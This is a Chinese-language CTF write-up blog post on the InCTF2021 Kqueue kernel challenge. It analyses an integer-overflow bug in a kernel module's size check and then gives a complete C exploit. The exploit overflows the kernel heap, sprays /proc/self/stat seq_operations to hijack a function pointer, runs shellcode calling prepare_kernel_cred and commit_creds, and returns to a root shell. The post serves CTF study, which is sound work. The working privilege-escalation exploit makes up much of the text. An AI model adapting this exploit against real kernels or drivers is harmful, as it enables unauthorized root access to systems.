Kernel Heap Heap-Overflow

这题的代码真的是……一言难尽(ˉ▽ˉ;)…

ps:解包要用root

例题:InCTF2021 - Kqueue

这题的数据结构有点复杂(主要是代码写的太恶心了)

数据结构分析

  • create_kqueue结束的数据结构

  • edit_kqueue,写request->data

    • 如果request.entry_idx==0,则写入queue->data
    • 否则如果request.entry_idx==kqueue_entry->idx,写入kqueue_entry->data
  • save_kqueue_entries后的数据结构

漏洞分析

主要漏洞是出在这里

1
2
3
4
/* Check if multiplication of 2 64 bit integers results in overflow */
ull space = 0;
if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)
err("[-] Integer overflow");

如果使request.max_entries=0xffffffff,则request.max_entries+1会溢出为0,检测通过但还是溢出了

题外话:如果要检测溢出那么每一步计算操作都要有检测,但+1那步没有,所以出问题了

还有这题所有的错误判断其实都是无效的

1
2
3
4
static long err(char* msg){
printk(KERN_ALERT "%s\n",msg);
return -1;
}

虽然err有返回值但返回值并没有被使用,所以所有的判断都不用管(代码写的真是依托答辩O(∩_∩)O)

如果使request.max_entries=0xffffffff,则数据结构如下:

  • create_kqueue结束,只分配了一个queue大小为0x18,没有queue_entry

  • edit_kqueue令request.entry_idx==0,queue->data写入数据

  • save_kqueue_entries将queue->data写入kqueue,data_size由request决定,因为可以随便溢出,所以我们可以修改下一个object(堆喷过程略)

exp

shellcode函数是利用栈上的残留数据(其实是start函数的返回地址)计算prepare_kernel_cred和commit_creds地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#include "kernel.h"

#define CREATE_KQUEUE 0xDEADC0DE
#define EDIT_KQUEUE 0xDAADEEEE
#define DELETE_KQUEUE 0xBADDCAFE
#define SAVE 0xB105BABE

size_t root_rip;

struct queue_entry{
uint16_t idx;
char *data;
struct queue_entry *next;
};

typedef struct{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;

void create(int fd, uint32_t max_entries, uint16_t data_size)
{
request_t rq = {
.max_entries = max_entries,
.data_size = data_size,
};
ioctl(fd, CREATE_KQUEUE, &rq);
}

void edit(int fd, uint16_t entry_idx, uint16_t queue_idx, char *data)
{
request_t rq = {
.entry_idx = entry_idx,
.queue_idx = queue_idx,
.data = data,
};
ioctl(fd, EDIT_KQUEUE, &rq);
}

void save(int fd, uint32_t max_entries, uint16_t data_size, uint16_t queue_idx)
{
request_t rq = {
.max_entries = max_entries,
.data_size = data_size,
.queue_idx = queue_idx,
};
ioctl(fd, SAVE, &rq);
}

void shellcode(void)
{
__asm__(
"mov r12, [rsp + 0x8];"
"sub r12, 0x201179;"
"mov r13, r12;"
"add r12, 0x8c580;" // prepare_kernel_cred
"add r13, 0x8c140;" // commit_creds
"xor rdi, rdi;"
"call r12;"
"mov rdi, rax;"
"call r13;"
"swapgs;"
"mov r14, user_ss;"
"push r14;"
"mov r14, user_sp;"
"push r14;"
"mov r14, user_rflags;"
"push r14;"
"mov r14, user_cs;"
"push r14;"
"mov r14, root_rip;"
"push r14;"
"iretq;"
);
}

int main()
{
root_rip = (size_t)get_root_shell;
save_status();
user_sp += 8;
bindCore(0);
int fd = open("/dev/kqueue", O_RDONLY);
create(fd, 0xffffffff, 0x30);
size_t fake_data[] = {0, 0, 0, 0, shellcode, shellcode};
edit(fd, 0, 0, fake_data);
int seq_fd[0x200];
for(int i = 0; i < 0x200; i++)
{
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
if(seq_fd[i] < 0)
fail_print("Open Fail!");
}
save(fd, 0, 0x30, 0);
char buf[0x10];
for(int i = 0; i < 0x200; i++)
read(seq_fd[i], buf, 0x10);
return 0;
}

Kernel Heap Heap-Overflow
http://akaieurus.github.io/2023/08/20/kernel-heap-heap-overflow/
作者
Eurus
发布于
2023年8月20日
许可协议